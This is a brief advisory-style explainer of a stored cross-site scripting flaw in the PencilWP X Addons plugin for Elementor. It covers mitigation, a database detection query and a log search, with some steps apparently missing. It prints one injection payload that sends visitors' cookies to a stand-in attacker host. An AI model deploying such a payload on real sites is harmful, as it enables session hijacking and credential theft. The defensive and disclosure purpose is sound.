How CVE-2025-48132 Works
The vulnerability arises due to improper input sanitization in PencilWP X Addons for Elementor (versions ≤1.0.14). Attackers inject malicious JavaScript via user-controlled inputs (e.g., form fields, headers), which is stored in the database and executed when rendered in the frontend. This stored XSS bypasses client-side filters due to insufficient server-side validation. The payload triggers when an admin or user views the compromised page, enabling session hijacking, defacement, or credential theft. The lack of CSRF protection exacerbates the issue, allowing widespread exploitation.

1. Payload Injection:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

- Implement output escaping:
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
4. Detection:
SELECT FROM wp_posts WHERE post_content LIKE '%<script>%';
5. Log Analysis:
grep -r "pencilwp-x-addons" /var/log/apache2/access.log | grep "POST"
